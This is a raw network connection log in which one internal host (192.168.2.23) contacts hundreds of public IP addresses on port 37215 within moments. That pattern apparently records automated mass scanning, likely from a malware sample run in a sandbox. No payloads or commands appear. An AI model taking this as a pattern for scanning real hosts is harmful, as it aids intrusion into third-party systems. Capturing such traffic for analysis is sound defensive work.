Dec 30, 2023 07:14:03.472256899 CET	37215	3641	41.83.41.150	192.168.2.23
Dec 30, 2023 07:14:03.532273054 CET	37215	3641	222.215.186.131	192.168.2.23
Dec 30, 2023 07:14:03.534749031 CET	37215	3641	156.253.42.207	192.168.2.23
Dec 30, 2023 07:14:03.534815073 CET	3641	37215	192.168.2.23	156.253.42.207
Dec 30, 2023 07:14:03.548832893 CET	37215	3641	41.84.251.1	192.168.2.23
Dec 30, 2023 07:14:03.551157951 CET	37215	3641	41.23.118.71	192.168.2.23
Dec 30, 2023 07:14:03.567804098 CET	37215	3641	41.57.109.91	192.168.2.23
Dec 30, 2023 07:14:03.948059082 CET	57834	37215	192.168.2.23	45.138.70.146
Dec 30, 2023 07:14:04.180829048 CET	3641	37215	192.168.2.23	222.44.37.160
Dec 30, 2023 07:14:04.180833101 CET	3641	37215	192.168.2.23	156.108.197.69
Dec 30, 2023 07:14:04.180833101 CET	3641	37215	192.168.2.23	156.44.89.200
Dec 30, 2023 07:14:04.180833101 CET	3641	37215	192.168.2.23	222.179.32.59
Dec 30, 2023 07:14:04.180833101 CET	3641	37215	192.168.2.23	41.5.192.78
Dec 30, 2023 07:14:04.180840015 CET	3641	37215	192.168.2.23	41.101.175.41
Dec 30, 2023 07:14:04.180840015 CET	3641	37215	192.168.2.23	197.146.111.24
Dec 30, 2023 07:14:04.180840015 CET	3641	37215	192.168.2.23	41.177.93.73
Dec 30, 2023 07:14:04.180850029 CET	3641	37215	192.168.2.23	41.87.133.18
Dec 30, 2023 07:14:04.180852890 CET	3641	37215	192.168.2.23	41.22.79.29
Dec 30, 2023 07:14:04.180852890 CET	3641	37215	192.168.2.23	197.53.140.111
Dec 30, 2023 07:14:04.180852890 CET	3641	37215	192.168.2.23	156.97.43.29
Dec 30, 2023 07:14:04.180855036 CET	3641	37215	192.168.2.23	156.61.173.197
Dec 30, 2023 07:14:04.180871010 CET	3641	37215	192.168.2.23	156.55.168.144
Dec 30, 2023 07:14:04.180871010 CET	3641	37215	192.168.2.23	197.165.12.139
Dec 30, 2023 07:14:04.180871010 CET	3641	37215	192.168.2.23	190.26.212.49
Dec 30, 2023 07:14:04.180871010 CET	3641	37215	192.168.2.23	186.158.2.77
Dec 30, 2023 07:14:04.180871010 CET	3641	37215	192.168.2.23	156.182.83.147
Dec 30, 2023 07:14:04.180879116 CET	3641	37215	192.168.2.23	107.29.192.68
Dec 30, 2023 07:14:04.180880070 CET	3641	37215	192.168.2.23	41.39.174.13
Dec 30, 2023 07:14:04.180886030 CET	3641	37215	192.168.2.23	156.152.48.88
Dec 30, 2023 07:14:04.180893898 CET	3641	37215	192.168.2.23	41.226.54.226
Dec 30, 2023 07:14:04.180905104 CET	3641	37215	192.168.2.23	41.230.219.80
Dec 30, 2023 07:14:04.180906057 CET	3641	37215	192.168.2.23	122.221.81.172
Dec 30, 2023 07:14:04.180906057 CET	3641	37215	192.168.2.23	154.108.157.225
Dec 30, 2023 07:14:04.180906057 CET	3641	37215	192.168.2.23	41.236.116.230
Dec 30, 2023 07:14:04.180907011 CET	3641	37215	192.168.2.23	156.24.215.151
Dec 30, 2023 07:14:04.180907011 CET	3641	37215	192.168.2.23	197.152.133.126
Dec 30, 2023 07:14:04.180913925 CET	3641	37215	192.168.2.23	197.163.220.66
Dec 30, 2023 07:14:04.180913925 CET	3641	37215	192.168.2.23	197.227.76.11
Dec 30, 2023 07:14:04.180915117 CET	3641	37215	192.168.2.23	102.158.250.177
Dec 30, 2023 07:14:04.180917978 CET	3641	37215	192.168.2.23	156.206.137.104
Dec 30, 2023 07:14:04.180929899 CET	3641	37215	192.168.2.23	41.214.118.69
Dec 30, 2023 07:14:04.180929899 CET	3641	37215	192.168.2.23	197.18.112.246
Dec 30, 2023 07:14:04.180929899 CET	3641	37215	192.168.2.23	154.117.47.40
Dec 30, 2023 07:14:04.180929899 CET	3641	37215	192.168.2.23	120.167.171.68
Dec 30, 2023 07:14:04.180932999 CET	3641	37215	192.168.2.23	157.206.54.239
Dec 30, 2023 07:14:04.180932999 CET	3641	37215	192.168.2.23	156.68.169.59
Dec 30, 2023 07:14:04.180951118 CET	3641	37215	192.168.2.23	92.168.155.36
Dec 30, 2023 07:14:04.180951118 CET	3641	37215	192.168.2.23	41.66.241.234
Dec 30, 2023 07:14:04.180952072 CET	3641	37215	192.168.2.23	156.153.19.10
Dec 30, 2023 07:14:04.180954933 CET	3641	37215	192.168.2.23	197.172.126.140
Dec 30, 2023 07:14:04.180958033 CET	3641	37215	192.168.2.23	197.169.136.54
Dec 30, 2023 07:14:04.180962086 CET	3641	37215	192.168.2.23	37.114.206.196
Dec 30, 2023 07:14:04.180963039 CET	3641	37215	192.168.2.23	107.120.6.204
Dec 30, 2023 07:14:04.180965900 CET	3641	37215	192.168.2.23	37.127.64.140
Dec 30, 2023 07:14:04.180965900 CET	3641	37215	192.168.2.23	156.152.224.232
Dec 30, 2023 07:14:04.180965900 CET	3641	37215	192.168.2.23	160.17.232.8
Dec 30, 2023 07:14:04.180965900 CET	3641	37215	192.168.2.23	102.150.92.69
Dec 30, 2023 07:14:04.180968046 CET	3641	37215	192.168.2.23	156.158.164.134
Dec 30, 2023 07:14:04.180970907 CET	3641	37215	192.168.2.23	186.102.229.22
Dec 30, 2023 07:14:04.180970907 CET	3641	37215	192.168.2.23	156.9.222.174
Dec 30, 2023 07:14:04.180973053 CET	3641	37215	192.168.2.23	156.241.160.71
Dec 30, 2023 07:14:04.180974007 CET	3641	37215	192.168.2.23	154.13.97.220
Dec 30, 2023 07:14:04.180975914 CET	3641	37215	192.168.2.23	41.120.144.161
Dec 30, 2023 07:14:04.180984974 CET	3641	37215	192.168.2.23	41.112.166.184
Dec 30, 2023 07:14:04.180993080 CET	3641	37215	192.168.2.23	156.185.27.20
Dec 30, 2023 07:14:04.180994034 CET	3641	37215	192.168.2.23	121.207.229.92
Dec 30, 2023 07:14:04.180994034 CET	3641	37215	192.168.2.23	156.172.117.121
Dec 30, 2023 07:14:04.180998087 CET	3641	37215	192.168.2.23	197.99.213.43
Dec 30, 2023 07:14:04.180999994 CET	3641	37215	192.168.2.23	197.141.63.20
Dec 30, 2023 07:14:04.180999994 CET	3641	37215	192.168.2.23	186.93.79.174
Dec 30, 2023 07:14:04.181009054 CET	3641	37215	192.168.2.23	197.129.126.220
Dec 30, 2023 07:14:04.181010008 CET	3641	37215	192.168.2.23	156.24.8.50
Dec 30, 2023 07:14:04.181019068 CET	3641	37215	192.168.2.23	41.120.125.231
Dec 30, 2023 07:14:04.181024075 CET	3641	37215	192.168.2.23	41.58.69.17
Dec 30, 2023 07:14:04.181027889 CET	3641	37215	192.168.2.23	197.56.148.254
Dec 30, 2023 07:14:04.181030035 CET	3641	37215	192.168.2.23	120.221.10.203
Dec 30, 2023 07:14:04.181030989 CET	3641	37215	192.168.2.23	197.9.28.134
Dec 30, 2023 07:14:04.181031942 CET	3641	37215	192.168.2.23	41.153.153.68
Dec 30, 2023 07:14:04.181031942 CET	3641	37215	192.168.2.23	120.122.227.143
Dec 30, 2023 07:14:04.181035995 CET	3641	37215	192.168.2.23	156.177.6.156
Dec 30, 2023 07:14:04.181035995 CET	3641	37215	192.168.2.23	120.32.55.114
Dec 30, 2023 07:14:04.181052923 CET	3641	37215	192.168.2.23	41.25.37.173
Dec 30, 2023 07:14:04.181057930 CET	3641	37215	192.168.2.23	156.195.175.181
Dec 30, 2023 07:14:04.181057930 CET	3641	37215	192.168.2.23	156.66.235.209
Dec 30, 2023 07:14:04.181061983 CET	3641	37215	192.168.2.23	156.203.66.172
Dec 30, 2023 07:14:04.181066036 CET	3641	37215	192.168.2.23	156.156.15.142
Dec 30, 2023 07:14:04.181076050 CET	3641	37215	192.168.2.23	197.192.125.36
Dec 30, 2023 07:14:04.181076050 CET	3641	37215	192.168.2.23	197.148.42.139
Dec 30, 2023 07:14:04.181076050 CET	3641	37215	192.168.2.23	156.195.156.98
Dec 30, 2023 07:14:04.181077003 CET	3641	37215	192.168.2.23	41.164.137.77
Dec 30, 2023 07:14:04.181077957 CET	3641	37215	192.168.2.23	120.241.225.84
Dec 30, 2023 07:14:04.181077957 CET	3641	37215	192.168.2.23	156.14.232.196
Dec 30, 2023 07:14:04.181086063 CET	3641	37215	192.168.2.23	41.140.45.212
Dec 30, 2023 07:14:04.181090117 CET	3641	37215	192.168.2.23	156.191.40.84
Dec 30, 2023 07:14:04.181091070 CET	3641	37215	192.168.2.23	156.143.106.159
Dec 30, 2023 07:14:04.181091070 CET	3641	37215	192.168.2.23	156.226.101.163
Dec 30, 2023 07:14:04.181091070 CET	3641	37215	192.168.2.23	157.251.88.6
Dec 30, 2023 07:14:04.181092024 CET	3641	37215	192.168.2.23	41.29.254.255
Dec 30, 2023 07:14:04.181096077 CET	3641	37215	192.168.2.23	222.169.97.130
Dec 30, 2023 07:14:04.181096077 CET	3641	37215	192.168.2.23	41.135.37.155
Dec 30, 2023 07:14:04.181096077 CET	3641	37215	192.168.2.23	94.47.70.91
Dec 30, 2023 07:14:04.181097984 CET	3641	37215	192.168.2.23	197.44.130.96
Dec 30, 2023 07:14:04.181097984 CET	3641	37215	192.168.2.23	41.46.252.29
Dec 30, 2023 07:14:04.181098938 CET	3641	37215	192.168.2.23	41.201.16.78
Dec 30, 2023 07:14:04.181097984 CET	3641	37215	192.168.2.23	197.73.64.60
Dec 30, 2023 07:14:04.181098938 CET	3641	37215	192.168.2.23	190.72.233.106
Dec 30, 2023 07:14:04.181098938 CET	3641	37215	192.168.2.23	156.137.122.249
Dec 30, 2023 07:14:04.181102037 CET	3641	37215	192.168.2.23	181.44.133.22
Dec 30, 2023 07:14:04.181102037 CET	3641	37215	192.168.2.23	197.162.12.147
Dec 30, 2023 07:14:04.181106091 CET	3641	37215	192.168.2.23	121.109.161.35
Dec 30, 2023 07:14:04.181112051 CET	3641	37215	192.168.2.23	197.66.11.67
Dec 30, 2023 07:14:04.181112051 CET	3641	37215	192.168.2.23	37.46.209.191
Dec 30, 2023 07:14:04.181126118 CET	3641	37215	192.168.2.23	95.169.180.110
Dec 30, 2023 07:14:04.181128979 CET	3641	37215	192.168.2.23	197.67.230.1
Dec 30, 2023 07:14:04.181132078 CET	3641	37215	192.168.2.23	37.2.67.237
Dec 30, 2023 07:14:04.181132078 CET	3641	37215	192.168.2.23	138.69.96.103
Dec 30, 2023 07:14:04.181133032 CET	3641	37215	192.168.2.23	156.81.158.95
Dec 30, 2023 07:14:04.181138039 CET	3641	37215	192.168.2.23	41.105.49.7
Dec 30, 2023 07:14:04.181147099 CET	3641	37215	192.168.2.23	41.0.228.222
Dec 30, 2023 07:14:04.181147099 CET	3641	37215	192.168.2.23	41.142.253.66
Dec 30, 2023 07:14:04.181149006 CET	3641	37215	192.168.2.23	156.93.201.46
Dec 30, 2023 07:14:04.181149006 CET	3641	37215	192.168.2.23	222.7.100.15
Dec 30, 2023 07:14:04.181153059 CET	3641	37215	192.168.2.23	41.3.120.177
Dec 30, 2023 07:14:04.181155920 CET	3641	37215	192.168.2.23	122.85.123.78
Dec 30, 2023 07:14:04.181155920 CET	3641	37215	192.168.2.23	156.18.0.149
Dec 30, 2023 07:14:04.181162119 CET	3641	37215	192.168.2.23	41.131.12.22
Dec 30, 2023 07:14:04.181171894 CET	3641	37215	192.168.2.23	197.43.207.117
Dec 30, 2023 07:14:04.181173086 CET	3641	37215	192.168.2.23	197.139.118.217
Dec 30, 2023 07:14:04.181174040 CET	3641	37215	192.168.2.23	41.78.239.172
Dec 30, 2023 07:14:04.181179047 CET	3641	37215	192.168.2.23	121.236.234.156
Dec 30, 2023 07:14:04.181180954 CET	3641	37215	192.168.2.23	41.36.168.232
Dec 30, 2023 07:14:04.181196928 CET	3641	37215	192.168.2.23	41.189.231.198
Dec 30, 2023 07:14:04.181201935 CET	3641	37215	192.168.2.23	156.136.5.147
Dec 30, 2023 07:14:04.181201935 CET	3641	37215	192.168.2.23	186.217.82.6
Dec 30, 2023 07:14:04.181202888 CET	3641	37215	192.168.2.23	41.209.79.253
Dec 30, 2023 07:14:04.181202888 CET	3641	37215	192.168.2.23	41.174.205.197
Dec 30, 2023 07:14:04.181205034 CET	3641	37215	192.168.2.23	190.135.224.196
Dec 30, 2023 07:14:04.181207895 CET	3641	37215	192.168.2.23	197.35.51.193
Dec 30, 2023 07:14:04.181211948 CET	3641	37215	192.168.2.23	41.22.232.212
Dec 30, 2023 07:14:04.181216002 CET	3641	37215	192.168.2.23	156.163.198.222
Dec 30, 2023 07:14:04.181217909 CET	3641	37215	192.168.2.23	156.86.14.195
Dec 30, 2023 07:14:04.181220055 CET	3641	37215	192.168.2.23	138.19.111.42
Dec 30, 2023 07:14:04.181220055 CET	3641	37215	192.168.2.23	45.162.241.43
Dec 30, 2023 07:14:04.181226969 CET	3641	37215	192.168.2.23	120.16.89.150
Dec 30, 2023 07:14:04.181238890 CET	3641	37215	192.168.2.23	156.171.33.45
Dec 30, 2023 07:14:04.181238890 CET	3641	37215	192.168.2.23	41.59.94.6
Dec 30, 2023 07:14:04.181241035 CET	3641	37215	192.168.2.23	197.252.22.19
Dec 30, 2023 07:14:04.181241035 CET	3641	37215	192.168.2.23	41.35.155.127
Dec 30, 2023 07:14:04.181245089 CET	3641	37215	192.168.2.23	197.204.176.206
Dec 30, 2023 07:14:04.181245089 CET	3641	37215	192.168.2.23	102.114.217.41
Dec 30, 2023 07:14:04.181245089 CET	3641	37215	192.168.2.23	154.191.200.166
Dec 30, 2023 07:14:04.181246042 CET	3641	37215	192.168.2.23	190.23.119.224
Dec 30, 2023 07:14:04.181256056 CET	3641	37215	192.168.2.23	190.111.15.96
Dec 30, 2023 07:14:04.181258917 CET	3641	37215	192.168.2.23	154.2.90.57
Dec 30, 2023 07:14:04.181263924 CET	3641	37215	192.168.2.23	197.82.58.191
Dec 30, 2023 07:14:04.181265116 CET	3641	37215	192.168.2.23	45.177.82.68
Dec 30, 2023 07:14:04.181267977 CET	3641	37215	192.168.2.23	197.52.251.20
Dec 30, 2023 07:14:04.181269884 CET	3641	37215	192.168.2.23	181.182.240.68
Dec 30, 2023 07:14:04.181269884 CET	3641	37215	192.168.2.23	156.203.167.223
Dec 30, 2023 07:14:04.181272984 CET	3641	37215	192.168.2.23	41.80.241.229
Dec 30, 2023 07:14:04.181288958 CET	3641	37215	192.168.2.23	45.97.97.45
Dec 30, 2023 07:14:04.181291103 CET	3641	37215	192.168.2.23	156.201.22.49
Dec 30, 2023 07:14:04.181292057 CET	3641	37215	192.168.2.23	41.233.170.89
Dec 30, 2023 07:14:04.181296110 CET	3641	37215	192.168.2.23	41.54.234.250
Dec 30, 2023 07:14:04.181314945 CET	3641	37215	192.168.2.23	122.171.159.106
Dec 30, 2023 07:14:04.181314945 CET	3641	37215	192.168.2.23	138.13.250.13
Dec 30, 2023 07:14:04.181318998 CET	3641	37215	192.168.2.23	41.52.174.106
Dec 30, 2023 07:14:04.181318998 CET	3641	37215	192.168.2.23	95.183.126.217
Dec 30, 2023 07:14:04.181323051 CET	3641	37215	192.168.2.23	197.251.172.8
Dec 30, 2023 07:14:04.181324005 CET	3641	37215	192.168.2.23	45.145.79.194
Dec 30, 2023 07:14:04.181324959 CET	3641	37215	192.168.2.23	197.1.98.44
Dec 30, 2023 07:14:04.181328058 CET	3641	37215	192.168.2.23	37.154.161.30
Dec 30, 2023 07:14:04.181324959 CET	3641	37215	192.168.2.23	181.148.221.72
Dec 30, 2023 07:14:04.181324959 CET	3641	37215	192.168.2.23	156.218.206.229
Dec 30, 2023 07:14:04.181333065 CET	3641	37215	192.168.2.23	156.194.53.103
Dec 30, 2023 07:14:04.181334019 CET	3641	37215	192.168.2.23	154.232.167.161
Dec 30, 2023 07:14:04.181335926 CET	3641	37215	192.168.2.23	41.207.103.189
Dec 30, 2023 07:14:04.181335926 CET	3641	37215	192.168.2.23	197.157.180.70
Dec 30, 2023 07:14:04.181338072 CET	3641	37215	192.168.2.23	156.160.185.54
Dec 30, 2023 07:14:04.181339979 CET	3641	37215	192.168.2.23	197.109.235.235
Dec 30, 2023 07:14:04.181340933 CET	3641	37215	192.168.2.23	190.151.186.137
Dec 30, 2023 07:14:04.181340933 CET	3641	37215	192.168.2.23	41.250.38.143
Dec 30, 2023 07:14:04.181344986 CET	3641	37215	192.168.2.23	156.71.161.141
Dec 30, 2023 07:14:04.181350946 CET	3641	37215	192.168.2.23	186.224.233.135
Dec 30, 2023 07:14:04.181351900 CET	3641	37215	192.168.2.23	156.138.232.240
Dec 30, 2023 07:14:04.181354046 CET	3641	37215	192.168.2.23	156.137.110.166
Dec 30, 2023 07:14:04.181354046 CET	3641	37215	192.168.2.23	186.125.71.82
Dec 30, 2023 07:14:04.181355953 CET	3641	37215	192.168.2.23	156.66.197.111
Dec 30, 2023 07:14:04.181361914 CET	3641	37215	192.168.2.23	107.18.63.147
Dec 30, 2023 07:14:04.181361914 CET	3641	37215	192.168.2.23	41.5.232.84
Dec 30, 2023 07:14:04.181361914 CET	3641	37215	192.168.2.23	190.176.29.201
Dec 30, 2023 07:14:04.181361914 CET	3641	37215	192.168.2.23	181.246.141.116
Dec 30, 2023 07:14:04.181365013 CET	3641	37215	192.168.2.23	197.177.151.179
Dec 30, 2023 07:14:04.181369066 CET	3641	37215	192.168.2.23	156.96.50.5
Dec 30, 2023 07:14:04.181382895 CET	3641	37215	192.168.2.23	92.120.45.95
Dec 30, 2023 07:14:04.181382895 CET	3641	37215	192.168.2.23	156.165.199.252
Dec 30, 2023 07:14:04.181386948 CET	3641	37215	192.168.2.23	197.94.8.159
Dec 30, 2023 07:14:04.181391001 CET	3641	37215	192.168.2.23	41.165.16.64
Dec 30, 2023 07:14:04.181391001 CET	3641	37215	192.168.2.23	156.190.170.190
Dec 30, 2023 07:14:04.181395054 CET	3641	37215	192.168.2.23	41.166.217.206
Dec 30, 2023 07:14:04.181396008 CET	3641	37215	192.168.2.23	222.145.145.50
Dec 30, 2023 07:14:04.181404114 CET	3641	37215	192.168.2.23	41.82.243.195
Dec 30, 2023 07:14:04.181420088 CET	3641	37215	192.168.2.23	45.178.60.245
Dec 30, 2023 07:14:04.181420088 CET	3641	37215	192.168.2.23	107.202.98.23
Dec 30, 2023 07:14:04.181421995 CET	3641	37215	192.168.2.23	156.102.154.101
Dec 30, 2023 07:14:04.181425095 CET	3641	37215	192.168.2.23	156.153.7.232
Dec 30, 2023 07:14:04.181427002 CET	3641	37215	192.168.2.23	197.57.243.158
Dec 30, 2023 07:14:04.181427956 CET	3641	37215	192.168.2.23	156.79.27.1
Dec 30, 2023 07:14:04.181428909 CET	3641	37215	192.168.2.23	197.214.9.11
Dec 30, 2023 07:14:04.181428909 CET	3641	37215	192.168.2.23	95.175.67.112
Dec 30, 2023 07:14:04.181428909 CET	3641	37215	192.168.2.23	156.167.226.132
Dec 30, 2023 07:14:04.181431055 CET	3641	37215	192.168.2.23	138.253.198.180
Dec 30, 2023 07:14:04.181431055 CET	3641	37215	192.168.2.23	156.148.14.113
Dec 30, 2023 07:14:04.181428909 CET	3641	37215	192.168.2.23	41.94.232.172
Dec 30, 2023 07:14:04.181431055 CET	3641	37215	192.168.2.23	197.183.220.91
Dec 30, 2023 07:14:04.181438923 CET	3641	37215	192.168.2.23	186.51.56.56
Dec 30, 2023 07:14:04.181438923 CET	3641	37215	192.168.2.23	41.175.183.72
Dec 30, 2023 07:14:04.181438923 CET	3641	37215	192.168.2.23	102.56.114.222
Dec 30, 2023 07:14:04.181457996 CET	3641	37215	192.168.2.23	41.236.185.222
Dec 30, 2023 07:14:04.181457996 CET	3641	37215	192.168.2.23	41.162.222.4
Dec 30, 2023 07:14:04.181457996 CET	3641	37215	192.168.2.23	197.77.150.143
Dec 30, 2023 07:14:04.181462049 CET	3641	37215	192.168.2.23	156.188.156.253
Dec 30, 2023 07:14:04.181462049 CET	3641	37215	192.168.2.23	121.184.56.56
Dec 30, 2023 07:14:04.181462049 CET	3641	37215	192.168.2.23	197.81.130.211
Dec 30, 2023 07:14:04.181467056 CET	3641	37215	192.168.2.23	156.144.218.60
Dec 30, 2023 07:14:04.181469917 CET	3641	37215	192.168.2.23	156.57.96.190
Dec 30, 2023 07:14:04.181478977 CET	3641	37215	192.168.2.23	197.131.41.196
Dec 30, 2023 07:14:04.181478977 CET	3641	37215	192.168.2.23	95.68.248.136
Dec 30, 2023 07:14:04.181478977 CET	3641	37215	192.168.2.23	45.163.248.245
Dec 30, 2023 07:14:04.181478977 CET	3641	37215	192.168.2.23	156.40.62.247
Dec 30, 2023 07:14:04.181482077 CET	3641	37215	192.168.2.23	41.232.103.103
Dec 30, 2023 07:14:04.181482077 CET	3641	37215	192.168.2.23	190.101.54.81
Dec 30, 2023 07:14:04.181492090 CET	3641	37215	192.168.2.23	156.60.1.152
Dec 30, 2023 07:14:04.181500912 CET	3641	37215	192.168.2.23	156.184.32.251
Dec 30, 2023 07:14:04.181504011 CET	3641	37215	192.168.2.23	160.57.17.56
Dec 30, 2023 07:14:04.181504011 CET	3641	37215	192.168.2.23	197.181.11.244
Dec 30, 2023 07:14:04.181505919 CET	3641	37215	192.168.2.23	41.6.116.102
Dec 30, 2023 07:14:04.181514978 CET	3641	37215	192.168.2.23	107.80.194.208
Dec 30, 2023 07:14:04.181524992 CET	3641	37215	192.168.2.23	156.74.20.58
Dec 30, 2023 07:14:04.181526899 CET	3641	37215	192.168.2.23	41.51.87.212
Dec 30, 2023 07:14:04.181526899 CET	3641	37215	192.168.2.23	197.47.5.110
Dec 30, 2023 07:14:04.181529045 CET	3641	37215	192.168.2.23	181.82.27.199
Dec 30, 2023 07:14:04.181529999 CET	3641	37215	192.168.2.23	94.44.44.153
Dec 30, 2023 07:14:04.181534052 CET	3641	37215	192.168.2.23	156.59.251.246
Dec 30, 2023 07:14:04.181540012 CET	3641	37215	192.168.2.23	156.97.73.80
Dec 30, 2023 07:14:04.181543112 CET	3641	37215	192.168.2.23	156.1.217.210
Dec 30, 2023 07:14:04.181543112 CET	3641	37215	192.168.2.23	197.201.146.100
Dec 30, 2023 07:14:04.181543112 CET	3641	37215	192.168.2.23	186.235.155.229
Dec 30, 2023 07:14:04.181543112 CET	3641	37215	192.168.2.23	197.231.224.89
Dec 30, 2023 07:14:04.181550980 CET	3641	37215	192.168.2.23	41.154.29.180
Dec 30, 2023 07:14:04.181550980 CET	3641	37215	192.168.2.23	121.26.163.250
Dec 30, 2023 07:14:04.181555986 CET	3641	37215	192.168.2.23	197.93.246.209
Dec 30, 2023 07:14:04.181560993 CET	3641	37215	192.168.2.23	156.213.47.59
Dec 30, 2023 07:14:04.181562901 CET	3641	37215	192.168.2.23	156.185.29.199
Dec 30, 2023 07:14:04.181571007 CET	3641	37215	192.168.2.23	41.144.212.248
Dec 30, 2023 07:14:04.181574106 CET	3641	37215	192.168.2.23	102.230.113.130
Dec 30, 2023 07:14:04.181577921 CET	3641	37215	192.168.2.23	107.183.77.153
Dec 30, 2023 07:14:04.181577921 CET	3641	37215	192.168.2.23	156.95.35.220
Dec 30, 2023 07:14:04.181592941 CET	3641	37215	192.168.2.23	197.216.190.62
Dec 30, 2023 07:14:04.181596041 CET	3641	37215	192.168.2.23	197.211.159.161
Dec 30, 2023 07:14:04.181596994 CET	3641	37215	192.168.2.23	197.182.173.126
Dec 30, 2023 07:14:04.181596994 CET	3641	37215	192.168.2.23	190.33.10.154
Dec 30, 2023 07:14:04.181600094 CET	3641	37215	192.168.2.23	181.65.146.61
Dec 30, 2023 07:14:04.181600094 CET	3641	37215	192.168.2.23	41.159.149.248
Dec 30, 2023 07:14:04.181617975 CET	3641	37215	192.168.2.23	197.156.185.45
Dec 30, 2023 07:14:04.181617975 CET	3641	37215	192.168.2.23	41.241.229.106
Dec 30, 2023 07:14:04.181619883 CET	3641	37215	192.168.2.23	156.32.0.45
Dec 30, 2023 07:14:04.181619883 CET	3641	37215	192.168.2.23	197.221.67.166
Dec 30, 2023 07:14:04.181619883 CET	3641	37215	192.168.2.23	154.190.109.85
Dec 30, 2023 07:14:04.181624889 CET	3641	37215	192.168.2.23	37.242.71.187
Dec 30, 2023 07:14:04.181626081 CET	3641	37215	192.168.2.23	156.100.187.209
Dec 30, 2023 07:14:04.181636095 CET	3641	37215	192.168.2.23	197.217.27.132
Dec 30, 2023 07:14:04.181641102 CET	3641	37215	192.168.2.23	94.189.148.165
Dec 30, 2023 07:14:04.181641102 CET	3641	37215	192.168.2.23	41.198.84.108
Dec 30, 2023 07:14:04.181643963 CET	3641	37215	192.168.2.23	41.123.78.110
Dec 30, 2023 07:14:04.181646109 CET	3641	37215	192.168.2.23	156.217.167.19
Dec 30, 2023 07:14:04.181646109 CET	3641	37215	192.168.2.23	94.147.208.113
Dec 30, 2023 07:14:04.181648016 CET	3641	37215	192.168.2.23	41.145.204.10
Dec 30, 2023 07:14:04.181659937 CET	3641	37215	192.168.2.23	156.15.9.174
Dec 30, 2023 07:14:04.181663990 CET	3641	37215	192.168.2.23	95.233.25.237
Dec 30, 2023 07:14:04.181665897 CET	3641	37215	192.168.2.23	156.211.1.92
Dec 30, 2023 07:14:04.181670904 CET	3641	37215	192.168.2.23	156.219.186.51
Dec 30, 2023 07:14:04.181670904 CET	3641	37215	192.168.2.23	41.94.62.250
Dec 30, 2023 07:14:04.181678057 CET	3641	37215	192.168.2.23	186.248.190.184
Dec 30, 2023 07:14:04.181678057 CET	3641	37215	192.168.2.23	41.211.190.73
Dec 30, 2023 07:14:04.181694031 CET	3641	37215	192.168.2.23	156.0.89.42
Dec 30, 2023 07:14:04.181696892 CET	3641	37215	192.168.2.23	190.161.19.255
Dec 30, 2023 07:14:04.181696892 CET	3641	37215	192.168.2.23	197.196.101.83
Dec 30, 2023 07:14:04.181699038 CET	3641	37215	192.168.2.23	156.141.53.86
Dec 30, 2023 07:14:04.181701899 CET	3641	37215	192.168.2.23	156.53.241.239
Dec 30, 2023 07:14:04.181701899 CET	3641	37215	192.168.2.23	197.152.192.82
Dec 30, 2023 07:14:04.181703091 CET	3641	37215	192.168.2.23	120.165.136.129
Dec 30, 2023 07:14:04.181709051 CET	3641	37215	192.168.2.23	156.74.6.8
Dec 30, 2023 07:14:04.181709051 CET	3641	37215	192.168.2.23	94.119.52.236
Dec 30, 2023 07:14:04.181716919 CET	3641	37215	192.168.2.23	156.201.248.43
Dec 30, 2023 07:14:04.181720018 CET	3641	37215	192.168.2.23	156.118.1.64
Dec 30, 2023 07:14:04.181725979 CET	3641	37215	192.168.2.23	156.247.133.61
Dec 30, 2023 07:14:04.181727886 CET	3641	37215	192.168.2.23	41.231.128.245
Dec 30, 2023 07:14:04.181742907 CET	3641	37215	192.168.2.23	41.68.252.120
Dec 30, 2023 07:14:04.181742907 CET	3641	37215	192.168.2.23	41.226.168.206
Dec 30, 2023 07:14:04.181742907 CET	3641	37215	192.168.2.23	197.136.164.197
Dec 30, 2023 07:14:04.181745052 CET	3641	37215	192.168.2.23	197.112.102.200
Dec 30, 2023 07:14:04.181749105 CET	3641	37215	192.168.2.23	41.180.168.195
Dec 30, 2023 07:14:04.181755066 CET	3641	37215	192.168.2.23	95.81.168.161
Dec 30, 2023 07:14:04.181766987 CET	3641	37215	192.168.2.23	197.173.248.134
Dec 30, 2023 07:14:04.181766987 CET	3641	37215	192.168.2.23	156.38.46.240
Dec 30, 2023 07:14:04.181771040 CET	3641	37215	192.168.2.23	156.91.231.105
Dec 30, 2023 07:14:04.181771040 CET	3641	37215	192.168.2.23	197.43.54.97
Dec 30, 2023 07:14:04.181771994 CET	3641	37215	192.168.2.23	156.73.86.240
Dec 30, 2023 07:14:04.181776047 CET	3641	37215	192.168.2.23	41.41.214.72
Dec 30, 2023 07:14:04.181782007 CET	3641	37215	192.168.2.23	196.195.5.173
Dec 30, 2023 07:14:04.181782007 CET	3641	37215	192.168.2.23	121.3.43.71
Dec 30, 2023 07:14:04.181782961 CET	3641	37215	192.168.2.23	154.204.4.101
Dec 30, 2023 07:14:04.181782961 CET	3641	37215	192.168.2.23	197.11.74.216
Dec 30, 2023 07:14:04.181783915 CET	3641	37215	192.168.2.23	120.131.185.35
Dec 30, 2023 07:14:04.181785107 CET	3641	37215	192.168.2.23	156.166.95.52
Dec 30, 2023 07:14:04.181796074 CET	3641	37215	192.168.2.23	121.31.219.98
Dec 30, 2023 07:14:04.181798935 CET	3641	37215	192.168.2.23	41.199.174.222
Dec 30, 2023 07:14:04.181802034 CET	3641	37215	192.168.2.23	222.49.230.174
Dec 30, 2023 07:14:04.181803942 CET	3641	37215	192.168.2.23	41.182.175.51
Dec 30, 2023 07:14:04.181806087 CET	3641	37215	192.168.2.23	102.151.222.38
Dec 30, 2023 07:14:04.181806087 CET	3641	37215	192.168.2.23	138.218.129.127
Dec 30, 2023 07:14:04.181806087 CET	3641	37215	192.168.2.23	156.150.42.150
Dec 30, 2023 07:14:04.181813955 CET	3641	37215	192.168.2.23	160.186.75.60
Dec 30, 2023 07:14:04.181814909 CET	3641	37215	192.168.2.23	102.33.61.172
Dec 30, 2023 07:14:04.181814909 CET	3641	37215	192.168.2.23	156.54.22.13
Dec 30, 2023 07:14:04.181823015 CET	3641	37215	192.168.2.23	156.139.43.96
Dec 30, 2023 07:14:04.181835890 CET	3641	37215	192.168.2.23	94.220.120.105
Dec 30, 2023 07:14:04.181835890 CET	3641	37215	192.168.2.23	107.73.93.138
Dec 30, 2023 07:14:04.181835890 CET	3641	37215	192.168.2.23	107.255.101.246
Dec 30, 2023 07:14:04.181837082 CET	3641	37215	192.168.2.23	156.79.133.164
Dec 30, 2023 07:14:04.181838989 CET	3641	37215	192.168.2.23	156.215.52.48
Dec 30, 2023 07:14:04.181838989 CET	3641	37215	192.168.2.23	156.158.160.187
